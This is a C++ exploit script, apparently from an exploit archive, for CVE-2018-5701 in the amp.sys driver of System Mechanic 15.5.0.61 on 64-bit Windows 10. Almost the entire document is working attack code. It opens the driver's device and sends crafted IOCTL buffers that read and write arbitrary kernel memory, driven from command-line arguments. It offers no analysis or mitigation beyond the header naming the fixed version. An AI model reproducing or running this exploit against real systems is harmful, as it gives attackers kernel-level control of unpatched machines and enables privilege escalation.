1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 |
/* # Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write # Date: 26-09-2022 # Exploit Author: Brandon Marshall # Vendor Homepage: https://www.iolo.com/ # Tested Version - System Mechanic version 15.5.0.61 # Driver Version - 5.4.11 - amp.sys # Tested on OS - 64 bit Windows 10 (18362) # Fixed Version- System Mechanic 17.5.0.116 # CVE : CVE-2018-5701 */ #include <iostream> #include <Windows.h> #include <psapi.h> #include <stdio.h> #pragma warning(disable:4996) typedef struct _kernelDriverInformation { char* imageName; void* imageBase; }kernelDriverInformation, * PKernelDriverInformation; typedef struct _functionInformation { char* functionName; void* functionOffset; void* functionBase; }functionInformation, * PFunctionInformation; void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) { DWORD bytesReturned; NTSTATUSstatus = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL); } HANDLE getDeviceHandle(char* name) { DWORD generic_read = 0x80000000; DWORD generic_write = 0x40000000; HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL); return handle; } void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;// param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;// param4 return (void*)maliciousBuffer; } void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;// param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);// param4 *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;//unknown *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1 return (void*)maliciousBuffer; } void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) { byte* maliciousBuffer = (byte*)malloc(bufferSize); *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5; // funciton pointer, this will be 5 *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer); pointer to parameters *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);pointer to write return value *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;// this will be 16 *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;// param2 *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);// param4 *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff; return (void*)maliciousBuffer; } DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) { void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize); callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize); free(writeAddresInAMPsKernelMemoryIOCTLBuffer); //address should now be written in kernel memory void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize); callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize); DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40); free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer); return returnVal; } void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) { void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize); callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize); free(writeAddresInAMPsKernelMemoryIOCTLBuffer); //address should now be written in kernel memory void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize); callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize); free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer); return; } void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) { DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize); DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize); void** Pqword = (void**)malloc(0x8); for (int i = 0; i < 4; i++) { ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i]; ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i]; } return (*(void**)Pqword); } void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) { writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize); writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize); } int main(int argc, char* argv[]) { ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16); HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP"); SIZE_T size = 0x300; if (strcmp(argv[1], "read") == 0) { void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size); printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD); } else if (strcmp(argv[1], "write") == 0) { ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16); writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size); printf("Wrote%0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite); } } |